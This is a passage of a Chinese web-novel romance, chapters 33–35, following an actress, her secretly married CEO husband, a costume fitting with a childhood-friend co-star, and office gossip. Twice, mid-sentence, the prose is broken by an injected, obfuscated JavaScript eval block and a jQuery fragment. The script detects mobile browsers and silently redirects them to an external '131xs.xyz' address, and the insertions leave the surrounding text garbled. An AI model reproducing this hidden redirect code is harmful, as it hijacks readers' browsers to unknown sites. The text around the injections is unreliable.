【草,你是拿座机拍的嘛,能再糊点么。】
【画质糊成这样,气质还这么有逼格,除了我们88层大魔王,还能是谁!】
【……】
群里一片静默。
【你们谁和倩倩走得近,跟她求证一下。】
【@露西?】
默默潜水还是被点名的露西:【……】
她可以说不知道吗?
群里又是一阵沉默。
【我们是不是发现了不得了的事情?】
随后又有人甩出一张截图:【我在公司的高层人脉发给我的截图,大魔王更新了一条微信动态,你们快看,像不像倩倩?】
【破案了!是倩倩!】
【要不周一上班咱们逼问倩倩。】
露西默默举起手:【那个倩倩……已经离职了。】
【?】
还用得着再问吗?就差明示了。
33. 033
八卦群里的尖叫声刷了屏,甚至开始抽丝剥茧拉时间线,探讨两人的“奸情”是从什么时候开始的。
她们不知道的是,其实连乔倩倩这个名字都是假的。
当事人温珍旎不知道八卦群里因为她,已经快吵翻了天。
从发了那条朋友圈动态后,她就没有关注过后续,回家洗洗就睡了。
第二天吃早餐的时候看手机,天都塌了。
红点把微信塞爆了,家人和共同好友都来探口风,问她是不是要公开了。
奚淼是最先拿截图来问她的:【女明星,你这是搞什么动静!粉丝一睁眼,突然多了个姐夫,天还不得塌了。】
这都什么跟什么呀!
温珍旎回她:【我就给姜小姐看而已,想什么呢。】
奚淼:【吓我!我以为你们俩要公开了呢。】
不过这事干得是真不错,奚淼给她点了一个大拇指:【做的好,姐妹牛逼大发了。】
而且向来对慈恒横条鼻子竖挑眼的奚淼,这回竟然对慈恒的态度表达了高度赞赏。
用她的原话就是:【慈恒这人……调.教一下还能用的。】
温珍旎:【……】
应付朋友圈已经够头大了,真爆出隐婚那天,场面不敢想。
“姐,吃好了吗?我们该出发了。”橙子那边把东西都带齐了,看她还在玩手机,过来提醒了一声。
正式进组前需要确认造型,今天的主要行程就是定妆。
因为赶时间,温珍旎不好多耽搁,退出微信,三两下吃完了早餐。
昨晚的同学会,慈恒喝了不少酒,还在睡觉。难得的周末休息,温珍旎没去打扰,带上橙子出了门。
试妆拍摄现场已经乌泱泱的一群人,化妆师在检查工具箱,服装助理推着挂满戏服的移动衣架穿梭其中,各部门都在紧锣密鼓地做着试妆准备。
《独家心动》的主演团队全部到场了,配戏的演员多是熟面孔,温珍旎健谈嘴甜,笑盈盈地打过招呼,和大家闲聊了一会儿。
跟大家都打过照面后,橙子小声跟她道:“姐,我看到裘老师了,在服装间里。”
温珍旎还在纳闷,怎么没看到裘司城。听橙子一说,就兴冲冲地去找人。
她刚进服装间,果不其然,就看到一道熟悉的身影站在布景板旁,在和导演说话。
身上就穿了最简单的白T恤和休闲裤,脸上习惯性地带着笑,便是站在这略显嘈杂的棚里,也让人如沐春风。
跟裘司城合作过的演员,都说他自带令人信服的气场,只要有他在,就像吃了定心丸那般安心。
别人看他气质斐然,总以为是个好说话的主,实际上他很会用这张温柔皮相把人噎死。
温珍旎在他这里吃过的亏,比在慈恒那吃的亏多得多。
裘司城抬眼看到她后,笑容加深,扬手唤道:“旎儿,这边!”
温珍旎走过去,脱口叫道:“裘司城。”
裘司城抬手就赏她一个毛栗子,“没大没小的,叫哥。”
大她两岁就非要当她哥,温珍旎叹了口气,只能改了口:“城哥。”
“这才对嘛。”裘司城满意了,手指虚扶了下她的背,很自然地把她带到一旁的休息区,“状态看着不错啊。怎么样,跟哥一块儿拍戏,兴不兴奋?”
温珍旎笑笑,当然是顺毛捋了,“兴奋得昨晚差点失眠。”
裘司城知道她心口不一,也没戳穿,笑着说:“霸总和舞蹈演员,这部戏挺适合你。城哥带着你,好好演,准没问题。”
温珍旎扫了下他那张过于熟悉的脸,再一回忆他小时候的黑历史,心里实在别扭,“跟你演情侣,总是怪怪的。”
熟悉到连他家里冰箱常备什么东西都一清二楚,突然要在镜头前扮演一对深陷爱恨的情侣,怎么想都奇怪。
“简单,想想平时你跟我怎么相处的,要不到两天就适应了。”
裘司城靠在沙发里,那份由内而外的松弛感,旁人羡慕不来。
他随意地划拉了几下手机屏幕,忽然想起了什么,看向温珍旎,“昨晚刷朋友圈,看到慈恒发动态了。什么情况?回来才几天,塑料夫妻都发展到吃路边摊了。”
已经被消息轰炸过一轮的温珍旎,不想再被轰炸,“就是去吃了个宵夜而已,你们都跑来打听。”
裘司城轻笑,“是你发的吧,故意发给某些人看的?告诉城哥,是不是情敌出现,让你有危机意识了?”
裘司城还是太了解她了,她那点道行,一眼就被看穿。
温珍旎瞒不过他,“……被你发现了呀。”
“啧,口吻一看就是你的手笔。不过慈恒能让你发那条动态,也蛮有趣的。他领地意识强得很,不想让人染指的地盘,谁来都不好使。”
裘司城想了想,给她出主意:“要不哥假装追你,也给他制造点危机感?”
温珍旎托着腮,“老夫老妻的,能有什么危机感。”
裘司城伸出食指摇了摇,“七老八十的还离婚呢,你们才结婚多久。”
“你就说应不应吧?”他语气夸张,“你要是离婚,城哥明天就上你家下聘。”
温珍旎被他的损招给噎了一下,下意识顺着话茬说:“离婚也不是说离就离了,还有冷静期。”
“你还真的考虑啊?”裘司城眼睛都瞪圆了,满是不可思议,“你们这婚姻也没那么坚不可摧嘛。”
温珍旎:“……”被耍了。
不过轻松的家常话题,也叫人不知不觉放松了许多。
闲聊几句后,裘司城把话题拉回正题,跟她探讨起剧本。
切换到专业领域,裘司城比私底下认真,但是也很照顾她,“我刚和导演聊了一下,有几场重头戏不好演,哥先简单地给你捋捋。”
裘司城的见解往往一针见血,总能准确地点出她困惑的地方,无异于一个能迅速带着她入戏的好老师。
棚内的嘈杂成了背景音,两人都沉浸在剧本人物的世界里。
就在两人投入时,一个男声插了进来,“两位老师,打扰一下!造型师这边准备好了,麻烦两位老师试妆定造型。”
讨论中断,温珍旎抬头看到橙子站在不远处,旁边站着造型师团队。
“好,马上来。”裘司城应了一声,顺手帮温珍旎收起剧本。
温珍旎也起身,跟着他往化妆区走。
服装组的小姑娘把一条连衣裙取出来,“温老师,辛苦了。
时间只有一天,行程很赶。
确定了服装尺寸,敲定了底妆色号,两点才吃上外卖。
匆匆扒了几口午饭,趁着光线好,主要演员们先去拍摄了外景,接着进入棚拍阶段。
摄影棚里,强光灯烤得空气都是烫的。
造型师上前给裘司城理西装领口,他侧头配合着,灯光勾勒出柔和俊朗的轮廓。
摄影师透过镜头,提醒温珍旎,“温老师,放松一点,嘴角别绷着,头向裘老师这边偏一点……好,麻烦看着裘老师的眼睛……”
温珍旎依言调整着动作,目光再次瞟想裘司城,试图回应他脉脉含情的眼眸。
但嘴角就是不受控制,绷不住想笑。
裘司城伤心了,“我有那么好笑?要不你把难过的事都想一遍。”
他眨眨眼,五官轮廓在灯光下显得柔和又深情,反衬得温珍旎很不敬业,NG了一遍又一遍。
“抱歉,城哥,我没找到感觉。”
不是他的问题,是自己的问题。
对着这张从小看到大的脸,要演绎出刻骨铭心的爱恋,比上班做一天表格都难。
一想到剧本里要上演的亲昵、争吵、乃至亲吻的一幕幕,她的脑子里被塞满的全是捉弄她的画面。
别看他现在温柔体贴,是万千粉丝心中的白马王子,小时候的他可调皮了,变着花样地捉弄人,恶作剧得逞后,还打死不承认是自己干的。
有了这些前科,怎么深情得起来。
她好努力才挤出了一点情绪,得到裘司城一句:“你不像是要爱人,更像是在想,下班之后要去哪里吃饭。”
温珍旎:“……”
拍摄这一步比预想中耗费心神,还是在裘司城的引导下,努力调动情绪,才结束了一天的拍摄。
拖着疲惫的身体回到公寓,温珍旎只觉得脑子里塞满了棉花,骨头缝里都透着酸软。
屋子里很安静,只有厨房传来细微的水声。
她像抽尽了全身的力气,踢掉鞋子,循着那抹亮光,脚步虚浮地游进厨房。
慈恒是出来喝水的,听到动静,他转过身,看到她疲惫不堪的样子,眼神柔和下来。
“吃过饭了?”声音带着刚饮过水的微哑。
温珍旎连“嗯”都懒得应,软趴趴地扑在他怀里,额头抵着他的胸膛。
“我好累……”她把脸埋得更深,声音带着鼻音,“要死掉了。”
她一直是个精力旺盛的人,团队行程最紧的时候,不算每天的固定练习,演唱会唱跳两三个钟头下来,都还能高能量地辗转其他行程。
私下里褪去光环的一面,还是第一次见。
不过也像她说过的,有了依赖,就不需要一直坚强。
她愿意在他这里停泊,何尝不是把他当作遮风避雨的港湾。
被人依靠的感觉,还不错。
慈恒揉揉她的发顶,既心疼,又好笑,“今天工作不顺利?裘司城自诩入戏最快的表演天才,看来也名不副实。”
“……跟裘司城还是太熟悉了,看到他我就笑场,所以耽误了一些时间。”温珍旎瓮声瓮气地答话。
工作上的困难不想细说,只想在他肩上靠一会儿。
慈恒拍了拍肩膀,示意她下来,“去洗澡睡觉。”
“不想动。”她声音越来越弱,索性两只手圈住他脖子,树袋熊一样挂身上,让他带着自己走。
慈恒眼底闪过无奈,“也就你把我当工具人使,出了门,谁还惯我们大小姐。”
嘴上说着她娇气懒散,一副很不赞同的样子,却还是俯下身,搂着腿把人抱了起来。
温珍旎脸颊贴着他的颈侧,声音因为疲倦的原因,黏黏糊糊的,“因为你是我老公呀。”
这小嘴是抹了蜜了,什么好听说什么。
就是不走心。
“花言巧语。”慈恒哼了一声,掂了掂臂弯上的重量,嘴角止不住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033415|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
翘起。
被稳稳托住的安全感,原来是可以抚平了所有疲惫的。
温珍旎像是找到了可以寄托的港湾,掌心覆在随着走动起伏的肌肉轮廓上,舒舒服服地卸下了心防。
有人可以依靠,到底还是不一样。
意识坠入黑暗前,温珍旎不禁遗憾地想,这三年来她到底过的是什么日子呀。
沾枕即睡,经过一晚的休息调整,第二天精神上的疲惫已经消散,高能量状态又回来了。
温珍旎哼着歌从盥洗室出来时,惊讶地发现慈恒穿好了衬衣西裤,正坐在桌前吃早餐。
“你这么早出门?”温珍旎疑惑地问,拉开椅子坐下。
“不早了。”慈恒递上热牛奶,目光在她脸上停留一瞬,“送你去片场。”
他工作有多忙,温珍旎很清楚,何况周一还有早会,“其实不用,片场很远的……”
“奶奶的吩咐,我只是照办。”慈恒打断她。
又拿奶奶说事,温珍旎扁了扁嘴,“好吧,都是奶奶吩咐的。”
慈恒眼神示意她吃饭,“林诺特意过来做的。”
“林诺还会做饭?”
温珍旎说完,忽然想起林诺跟去国外照顾了他三年,做饭应该算是最基础的一项技能。
于是改了口,“林秘书挺全能的。”
慈恒不太赞同,“有手就会,很难吗?”
温珍旎:“……”
她有手,就是不会啊。
不理他,温珍旎默默地低头喝牛奶,顺便给橙子发消息,交代她先走,在片场接应她。
橙子这个机灵鬼,领悟得挺快:【姐夫要送你进组吗?你放心,我誓死保护你和姐夫的所有行程。】
温珍旎:【……小橙子,你是越来越上道了。】
看她吃得差不多了,男人方才起身,捞起她的包,“走吧。”
温珍旎跟他下了楼,才发现并非他惯常乘坐的那辆宾利慕尚,而是换了不常开的劳斯莱斯。开车的也不是林诺,是一个面生的中年司机。
想的挺周到,那辆挂三牌的宾利确实太打眼了,开出去不知道多引人注目。
她还担心呢,没想到他已经考虑到了。
上了车,温珍旎靠着椅背,从包里翻剧本,偷偷瞄了眼身边从上车就闭目养神的男人。
车子启动,平稳地汇入车流,驶离市区,半个小时后在片场外围一个相对僻静的入口停下。
这里蹲守的狗仔相对较少,早上六点多,只有几盏昏黄的路灯照着水泥路面。
“我到了,先进去了。”
温珍旎伸手去拉车门,慈恒却先一步握住了她的手,目光沉沉地落在她脸上。
“怎么了?”温珍旎扶着车门看他。
指腹不经意擦过了她手背,一丝痒意直往心里钻。
慈恒眼神不自在地偏开,“拍戏就认真拍戏,碰了不干净的东西要记得洗手,收工了就按时回家,别瞎跑。”
这话听着怪怪的,怎么听都像是嘱咐小学生,放了学就回家。
温珍旎一头雾水,反问:“又是奶奶说的?”
男人的表情一言难尽,“我说的。”
看他吃瘪,温珍旎憋不住笑,“知道了,那我去了。”
“嗯。”慈恒低声应道,唇角微勾,带笑的容貌在晨色里惊人的好看。
他没有多余的话,只是看着她拎上包,站在车外朝他挥手,然后跑向等在不远处的保姆车。
清晨的风不燥不热,比起中午的闷窒舒爽不少。
温珍旎刚到车旁和橙子碰面,一道温和清越的声音从旁边传来,“旎儿,早上好。”
温珍旎转过身,看见裘司城一身清爽打扮地从阿尔法走下来,“城哥。”
天色亮了些,车窗玻璃把车内和外面隔成了两个世界。
车里,慈恒点了一支烟,靠向椅背,视线追随着两人,看着裘司城抬手作势要敲温珍旎的脑袋,被她偏头躲开了。
两人熟稔地交谈着,裘司城的视线扫向这方时,动作突然一顿,对温珍旎说了句什么,随即步履从容地往这边走来。
下一刻,他这边的车窗被叩响。
慈恒降下车窗,对上裘司城带笑的眼睛,“你有事?”
“没事就不能来打招呼呀?”
裘司城手肘撑在车窗框上,俯身看着车内的男人,“慈总也是稀客,居然有时间来探我的班。”
语气轻松得像招呼久别重逢的老朋友。
虽然他们也确实认识了很多年。
“裘大明星,你好像很闲啊?”慈恒淡淡地瞥了他一眼,没反驳他,也没反驳的必要。
裘司城这人就是喜欢装傻充楞。
“跟老朋友叙旧这点时间总还是有的。”裘司城拖长了语调,一声老朋友带了明显的调侃。
慈恒嗤地一笑,“我不是来探你的班,是来给你挂脑科的。记得去你家医院看看脑子。”
他往对面看了看,见温珍旎已经进去了,便把脑袋快要伸进车内的裘司城一把推出去,将车窗摇上。
锐利的视线先是扫过附近,确认没什么可疑的动静后,掐灭了烟,面无表情地吩咐司机:“回公司。”
34. 034
从片场赶回总部,差不多要一个小时的车程。
慈恒掐着时间回的公司,刚踏进总部大厅,陆方洋已经在电梯口等他开专题会了。
又是一上午的唇枪舌战,结束后回总裁室,一个陌生身影正背对着门,小心翼翼地擦拭着办公桌。
是新来的实习生,见他进来,拘谨地喊了声“慈总好”,又低下头继续干上手的活。
慈恒揉着被吵得发胀的太阳穴,视线扫过空荡荡的办公室。这些工作,以前都是温珍旎在做。
她坐在茶几对面吃饭的样子,站在桌前修剪花枝的身影,恍惚间似乎还在昨日。
想到这,目光下意识地落向桌上的花瓶里。一捧百合开得娇艳欲滴,刚喷过水,圆滚滚的水珠在阳光下泛着柔亮润泽的光,十分鲜活。
温珍旎总说花的品种不多,即便是同一种颜色的百合,也是分品种的。他却觉得都长得一样,那些细微差别难以区分。
这会儿他心生好奇,托起花瓣来看,不免皱起眉头,“这花不是先前的那束!”
声音不高,身上散发的那股冷厉气场却极具压迫感,吓得实习生打了个寒颤,声若蚊蝇:“慈总,这是今天刚到的进口百合。”
“原来的花呢?”慈恒质问。
实习生脸色煞白,嘴唇哆嗦着,再一看他脸色,喉咙一个字也挤不出来。
“回答问题,我问你花呢?”慈恒再次逼问,脸色沉得骇人。
实习生鼻子一酸,带着哭腔:“坏了,要换新的。”
慈恒眼神一凛,“进口百合!管理费用就是这样挥霍的?李薇就是这么教你的?”
实习生头垂得更低,“慈总,我错了。是方胜的姜总送的,她说、她说原来的花该换了。”
尽管唯唯诺诺,快被吓得昏过去,但是初生牛犊也还有几分胆气,“她们说,姜总是您的同学,关系很要好的朋友。我想着,一束花也没关系。”
慈恒简直无语,觉得很荒谬,想不明白她脑子里装的什么,“既然你这么听方胜的话,现在就打辞职报告,去财务结算工资。”
实习生揪着手指,反正也死到临头了,心里那股豁出去的胆气反而更胜,梗着脖子反驳道:“我是经过层层选拔才进来的,就算您是总裁,也不能随意辞退我。”
慈恒被她这么一顶嘴,竟然给气笑了。他扶着额,都想不起要说什么。
别说,跟温珍旎还挺像,但又差的太远。
看着年轻女孩一边不服输,一边又几乎把自己缩进地缝,他深吸一口气,压下火气,尽量让语气柔和,“花拿走。”
实习生小心捧起花瓶,眼眶里转着泪,心里却忍不住疯狂蛐蛐。
到底是谁挥霍啊,这可是重瓣百合,需要提前好久才能预定到,再从荷兰空运回来,每一片花瓣都矜贵得要命。
“……可是花很贵的。”纵然害怕,她还是鼓起最后一点勇气,坚持说道。
慈恒重重扶额,“那行,你拿走,跟龙肝凤丹一起煮了吃。”
实习生憋了好久的眼泪,终于哗地一下砸了下来。
慈恒一时语塞:“……”他有这么可怕?
温珍旎任他说再刻薄的话,都能面不改色地顺毛捋,还能笑着给他堵回来。往往等他反应过来时,人已经骑在他头上继续作威作福了。
“我又没骂你,哭什么,泪腺接通太平洋了!”
大魔王不愧是大魔王,杀人还要诛心。
实习生擦掉眼泪,抱着花瓶转身要走,身后的人又一声“等等”,将她叫住。
慈恒指了指她怀里的花瓶,“花你自己拿走,花瓶留下。”
**
温珍旎还不知道,她离开泰华后,还能有这么精彩的事上演。
露西在语音里提起实习生这档子事儿时,她已经收工在家,舒舒服服地刷着微博,美滋滋地喝汤了。
林诺大老远地从樟园过来,就为了送家里炖给她的这锅药膳汤。
温珍旎品着浓郁鲜美的汤汁,听露西讲完,属实有些诧异,“我做助理的时候,他大概连我换的什么花都不认识,怎么会因为这种小事训人?”
“可事情就是发生了呀。那小姑娘因为这事被训得不轻,委屈极了,跑回办公室哭了好久。”露西叹了一声,语气带点同情。
“我们去安慰她,没想到小姑娘还挺有骨气,她说自己不是只会受气的包子,觉得慈总说得不对,当场就反驳回去了。”
敢怼慈恒的人应该不多,新人身上居然有这种胆色,很是难得。
“小妹妹做得对。”温珍旎给予了高度赞赏,“大家都是拿钱做事的打工人,咱们不接受老板的怨气发泄,不合理的地方必须坚定地拒绝。”
“其实……也怪一开始没说清楚。”
露西支吾了几声,声音低下去,“慈总以为那花是她下单订的。毕竟是伊莎贝拉重瓣百合,光是运费就贵得离谱,换成是我,我也生气。”
从荷兰空运来的花,确实大手笔。
“谁送的?”其实都不需要细问,温珍旎已经猜到是谁了,“姜琳。”
露西:“嗯。”
见温珍旎没接话,露西小心翼翼地说道:“我总觉着,慈总这次发火,多少带点私人情绪了。”
“怎么说?”温珍旎没明白。
“慈总是知道你买的那束花被换掉之后,才生气的……说明他很在意。”
露西很想问她跟慈恒的关系,但是话到嘴边,总是有点难以启齿。
她顿了顿,心想着伸头一头,缩头一头,索性也豁出去了,“我实说跟你说了吧。周六那天,在小吃街,朱娜看到你和慈总了,她们派我来打听……你和慈总是不是在一起了?”
“啊!”温珍旎有时候也挺无奈的。
就说披马甲去泰华上班这事,她本来是打算轻轻地来,再轻轻地走,谁成想在最后一天栽沟里了。
“我说我和慈总是朋友关系,你信吗?”她知道,这么胡编乱造多少有点欺负人,因而心里有些发虚。
露西听出她不想多说的意思,立即会意,不再追问下去,“应该可以相信的吧。”
温珍旎怕她再问下去,自己又会露出什么马脚,随意聊了一会儿,便寻了一个借口结束了语音。
她收拾完碗筷,机器人星星也跟着滑行到脚边,轻轻蹭着她的小腿。
因为她要在香山路长住,慈宇就把星星送了过来,这会儿在她脚下滑来滑去,满屋子乱窜。
温珍旎用擦干的手指敲了敲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049186|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
它冰凉的金属脑壳,“星星,你说你爸是不是大魔王?”
星星仰起脑袋,卡顿了几秒后,电子显示屏上的眼睛切换成闪烁的粉色爱心形状,然后用软糯的电子音回答:“妈咪是爹地的宝贝,星星是妈咪的宝贝。”
好吧,两头都不开罪,顺便还卖了个萌,这程序设定怕不是成精了。
温珍旎被这童言稚语又不缺小心机的回答给逗乐了。
“去玩吧,妈妈要忙自己的事情了。”
她抱着平板窝进沙发里,星星也吱嘎吱嘎扭着关节跟过去,只在身边打转,不说话。
就在这时,玄关处传来感应门锁打开的轻响。
温珍旎目光飘向门口,星星的电子屏也切换成感应模式,发出提示音:“妈咪,识别到门禁开启信号。”
然后拖着它圆滚滚的身体,迅速滑向玄关。
片刻后,随着星星的返回,忙完下班的男人走进了客厅。
瞧见暖光下蜷在沙发里的身影,平板荧光映着的脸,慈恒收敛了倦色,边松着领带边走近,“奶奶叫人送了汤给你,喝了吗?”
温珍旎点头:“已经喝过了。”
慈恒在沙发旁站定,目光掠过她手里的平板,“看什么?”
“新剧的最终预告出来了,随便看一下。”温珍旎坐直了身体,拉着他坐下。
慈恒顺势瞄了一眼视频,显而易见是偶像剧。她出现的镜头只有几秒,不过那几秒足够惊艳了。
“你演的哪个角色?”他问。
温珍旎:“男主出国的白月光初恋。”
他很少看剧,偶像剧就更不用说了。
温珍旎以为他感兴趣,兴致勃勃地讲起剧情:“白月光为了学业,决定出国深造,富二代男主挽留不成,和白月光分了手,然后在情感受挫时遇到了女主,两人开启了一段甜蜜又充满误会的爱情故事。”
“故事大概就是这么个故事。”
温珍旎将剧情简单地梳理了一遍,抬眼看向慈恒,却见对方双手环臂,一副难以理解的表情。
她略显尴尬,小声辩解道:“古早霸总文学,套路是有点老啦。”
慈恒皱了皱眉,他要说的是,“都富二代了,还搞不定那张机票?”
接着,他开启了犀利点评:“说到底,还是对自身缺乏信心,连这点考验都经受不住。再者,因为女朋友出国就轻易提分手,说明这个男人缺乏担当,趁早分开也是及时止损。”
被他随口一评价,男主瞬间没有魅力可言。
温珍旎被噎得说不出话,只能干巴巴地狡辩,“都是剧情需要,为了推动主角感情发展。”
身边的男人根本就不买账,“剧情需要也要建立在基本逻……”
话才起了个头,就被温珍旎眼疾手快地给捂上了,“打住!”
她睁圆了眼睛,不满地哼道:“看偶像剧是为了打发时间,生活的一种消遣娱乐而已,像你这么较真,百分之九十九的剧都经不起推敲。”
骤然靠近的温热气息,带着娇嗔的姿态,让慈恒没说完的话成功卡在了喉咙里。
他垂眸微笑,视线在她那双漂亮的眼睛上停留,“别的不说,导演选的白月光还是很有说服力。”
“什么!”
35. 035
突如其来的夸奖,算是夸奖吧,直接给温珍旎整不会了。她眨眨眼,表情是难以置信的,“……刚刚我没听清,你再说一遍。”
“没听清就算了。”慈恒移开视线,语气又恢复了惯常的平淡,就好像刚才那句话是幻听。
温珍旎目光在他侧脸定了定,暖光勾勒轮廓,眼底的倦色淡去了,余下一抹少见的柔色。
她注意到他取下领带的动作,转而问道:“今晚也有应酬?”
“嗯,是。”慈恒简短地回了一句。
漠了片刻,他想起白天办公室里的插曲,状似随意地问起:“为什么不买花了?”
温珍旎被问得一脸莫名,“慈总,我离职了啊,现在又不是你的助理。”
做了一个多月的牛马,难不成终生都是他的牛马。
慈恒眯眼,“什么意思,离职就不买花了?”
既然他要追根究底,温珍旎也不再客气,学着他平日戏谑刻薄的腔调,慢条斯理地回敬:“我买的花小家子气,上不得台面,哪里比得上进口名品。”
字字句句,都明白地指向办公室百合花事件。
慈恒眉梢一挑:“连这事都知道,你跟妈共享情报组织?”
“不仅知道这个,我还知道你把人家实习生小姑娘训哭了。”温珍旎摇着头,不是太认同他的处理方式,“一束花而已,不喜欢就换,何必凶别人。”
“呵……”慈恒低笑了一声,目光锁住她,单手把衬衫纽扣解开,随意的动作在他做来,竟然莫名的带着张力,“你在公司的这段时间,你觉得我很凶?还是我凶过你?”
温珍旎想了想,坦诚地点头:“老实说,有时候是有那么一点。”
慈恒:“那你怎么不哭?”
温珍旎直视着他,是真的不怕他:“干嘛要哭,再凶你又不会吃了我。”
而且他很好哄,只要顺毛捋就能搞定。
她也确实是这样做的,即便偶尔被他的冷厉波及,也不会表现害怕,反而像摇着尾巴的小狗,巴巴地凑上来,让人无奈,又忍不住心软。
没有丝毫防备,以为谁都是好人,谁都会吃她这套。
但是看到她这副模样,慈恒觉得心尖像是被柔软的东西戳了一下,比任何时候都要觉得她可爱。
他伸手,拿开她膝上的平板,自然而然地把人抱进怀里。温珍旎被他突然揽住,下意识地以为他要吻下来时,脖颈间一阵湿润的触感,随之而来的是轻微的刺痛。
……她被咬了一口。
“干嘛咬我?”温珍旎捂住脖子,又惊又懵地瞪他。
慈恒语气理所当然,“可爱,忍不住。”
她看他就是可爱侵犯症!
温珍旎挣扎着想从他怀里起身,慈恒却将她的两只手腕一并捉住,剪在身后,牢牢圈抱在自己怀里。他垂眸看着她徒劳地扑腾,“其实你说错了,我是会吃了你的。”
被他这样直白的目光盯着看,温珍旎感觉自己是一只待宰的羔羊,她想要转移注意力,但他掌心太烫了,透过薄薄的衣裙,那火就一路蔓延,燎到心尖上,把她的灵魂汽化成了一阵轻飘飘的雾。
偌大的客厅里只剩下星星滑走的机械声,间或夹杂着衣服的窸窸窣窣。落地灯的暖光安静地流淌在慈恒绷紧的下颌,显得过于安静了,还有些难以描述的亲昵。
心跳声被放大,咚咚地敲着耳膜,温珍旎想说点什么,张了张嘴,只发出微弱的气声。
最后他稍稍拉开两人之间的距离,手指勾起她颈间歪斜的蓝闪蝶项链,“别忘了,继续买花。”
就这事也值得他惦记到现在。
果真是无良资本家,离职了还要给他当牛做马。
温珍旎撇了撇嘴:“哦,知道了,我买就是了。”
说买就买,睡前她在花店小程序很认真地挑选了几种花,不仅选好了明天的,接下来一个月的量也预定好了,确保每周的鲜花都不带重样的。
如此一来,慈恒应该也挑不出她的错了。
只不过嘛,她这次订的这些花和以往的风格比较起来,似乎过于个性了。不是红似烈焰的玫瑰,就是色彩斑斓的混搭风。
陆方洋到总裁室的第一眼就注意到了不同。刚开始还不习惯,看久了,竟然觉得还挺热闹,至少眼睛热闹。
但今天这束黑郁金香和巧克力波斯菊的组合,让他有一种心脏骤停之感:“……太太离职过后,在审美这块是越来越狂野了。”
慈恒眼皮都没抬,注意力全在电脑屏幕上:“你有事?”
陆方洋赶紧正了正色,把一摞文件夹放在桌面上:“大事是没有,就这几份文件需要您过目签字。”
慈恒翻开并购协议,快速浏览起条款。
在老板刷刷签字的空隙,陆方洋趁机八卦道:“太太参演的那部新剧,今天中午就播了,一口气连更六集。慈总您……看了吗?”
工作上谈私事,慈恒向来是左耳进,右耳出。可是这次,他竟破天荒地撩起眼皮,“你还追剧?”
这话说的,他又不像他,全年都可以不用休息,是个铁石心肠的工作机器。
“我现在算是太太的颜……演技粉。”他本来是说颜值粉的,话锋一转,硬生生给吞了回去,“作为粉丝,支持作品无可厚非嘛。”
“哦,知道了,记得贡献播放量。”慈恒眼神嫌弃地从他脸上扫过,顿了顿,又补充一句,“她出场的部分,多支持几遍。”
陆方洋:“……”
几分钟的特出戏份,就没必要循环播放了吧。
慈恒把签好字的文件还给他,看了眼腕表,随即关掉电脑,一副准备出去的架势。
陆方洋好奇地问:“慈总要外出?”
“下班了。”慈恒脚步未停,往专梯方向走。
“这么早?”陆方洋被震惊得愣在了原地。
太阳打西边出来了?老板不加班就不错了,什么时候下过早班!
慈恒没理会,径直乘了电梯下楼。
坐进车里,解锁手机点进微信,发小群的未读消息就争先恐后地冒了出来。
冯振吆喝着在组局:【咱们说好了,八点老地方见。@所有人速来!尤其是@蒋卓凡,今天回天海,必须到场。】
蒋卓凡:【你在我身上安了定位器?】
冯振:【你跟恒哥贵人事忙,好不容易逮到机会,不来喝一杯就不够义气了。】
另一边,蒋卓凡才刚下飞机,就被冯振再三邀请,他眼神示意了一下,身边的助理立即打开了行程表。
蒋卓凡看了两眼,回道:【把慈恒也叫上。】
冯振:【@慈恒哥,就差你了!】
看着那些吵人的消息,慈恒眉梢都没动一下。
手机屏幕的光映着他淡漠的表情,指尖在输入框迟疑几秒后,敲下冷冰冰的两个字:【没空。】
消息发送成功,就不再理会群消息。
屏幕暗下去,他靠向椅背,指尖在扶手上敲了敲。
“太太今天几点收工?”他问。
开车的林诺从后视镜里看了他一眼:“太太去外地了,明天回。”
慈恒搭在扶手的指尖顿住。才想起她昨晚提过,给剧组请了假,今天去外地拍摄宣传视频。
空气安静了几秒后,他再次划开手机。
微博推荐页面就是营销号发的机场路透图,穿一件浅绿上衣,配牛仔短裙,渔夫帽下一双笑眼弯如新月。明明什么都没做,就把评论区搅得血雨腥风。
他记得,她凌晨五点出的门,那会儿人还没睡醒,连连打着哈欠,随便套了一件基础款T恤,耳后翘起的头发都没来得及压平。
此刻镜头下的大明星,迷茫困顿的表情换成了浅笑嫣然,从头发丝精致到了指甲盖。
词条里的讨论热度不低,赞美纵然令人心情愉悦,但充满戾气的谩骂更如蛆附骨,让人越看越烦心。
慈恒脸上没什么波澜,却对林诺淡声吩咐道:“微博平台上的垃圾处理一下,经常人身攻击的那些账号全部存证。”
“好的,慈总。”林诺应下。
车子发动了引擎,慈恒摩挲着手机屏幕,想打个电话,最终还是作罢。
“去锦煌夜宴。”
然后重新点进还在吵嚷的发小群,敲下三个字:【马上到。】
**
拍完最后一组宣传物料,温珍旎和团队回到下榻的酒店。
北城的夏夜燥热难耐,一进门,她就把自己扔进了沙发里,有气无力地长舒一口气,“小橙子,我的骨头要散架了……”
橙子把一杯温热的花果茶塞到她手心,眼睛亮晶晶的,压着兴奋劲儿,“累是累了点,但今天实在太解气了。”
温珍旎捞过手机,划拉着屏幕,在看新剧的反馈,闻言也笑,“这圈子里拜高踩
